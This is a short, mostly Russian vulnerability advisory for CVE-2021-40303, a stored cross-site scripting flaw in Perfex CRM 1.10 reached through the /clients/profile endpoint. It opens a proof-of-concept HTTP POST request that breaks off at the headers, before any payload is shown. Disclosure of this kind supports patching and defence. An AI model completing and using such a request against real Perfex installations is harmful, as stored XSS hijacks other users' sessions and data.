CVE-2021-40303

CVE-2021-40303 perfex crm 1.10 уязвим для хранимого межсайтового скриптинга XSS через /clients/profile. poc: root@kitploit: POST /clients/profile HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 X11; Linux x8664; rv:78.0 Gecko/20100101 Firefox/78.0 Accept:...